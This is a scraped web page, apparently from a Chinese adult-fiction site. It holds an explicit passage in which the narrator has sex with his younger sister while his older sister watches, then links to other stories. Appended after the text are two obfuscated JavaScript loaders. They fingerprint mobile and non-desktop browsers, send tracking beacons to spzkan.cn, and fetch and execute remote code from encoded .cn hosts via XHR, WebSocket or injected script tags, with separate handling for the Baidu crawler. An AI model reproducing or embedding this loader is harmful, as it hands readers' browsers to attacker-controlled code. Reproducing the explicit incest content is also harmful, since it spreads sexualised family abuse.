舔了十余分钟我想差不多了,于是起身跪于妹的两腿间,手握着鸡巴对着穴口插进去。我不敢太用力,怕妹会惧怕,那就前功尽弃了。我缓缓的挺进,妹也察觉我的鸡巴已经开始进入她的身体了,全身有点紧绷。我慢慢的一进一出,一点一点的插入,只要妹的肌肉紧绷我就暂停挺进。就这样顶了几分钟后,终于全根插入了。

姐看我已然全根插入,轻声的问妹说感觉怎样,妹说有点痛,有点帐,酸酸痒痒的。我说动一下好不好,妹点点头。于是我开始轻轻的抽插,慢慢的妹疼痛的表情消失了,起而代之的是舒服的表情。于是我慢慢的加快速度,也开始全根进出抽插。小妹开始发出轻微的淫叫声,随着我速度加快,叫床声也随之增大。

为了让妹有高潮的感觉,我硬压着想射精的冲动,马不停蹄的干了半个多小时,在妹生平第一次高潮来临的同时,我也射出憋的许久的阳精。

射完精的我两腿几已麻木,但射精的快感确是前所未有。而高潮后的妹则躺平了,一动也不动,嘴里还发出呻吟声,身体也不时抽着。我爱怜的抱着妹给她一个深吻,妹也伸出舌头回应着。然而姐却在我耳边说了一句让我差点软脚的话,她敢要我赶快休息一下,她也要。


上一篇:附体记71-73

下一篇:手淫的丈夫


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};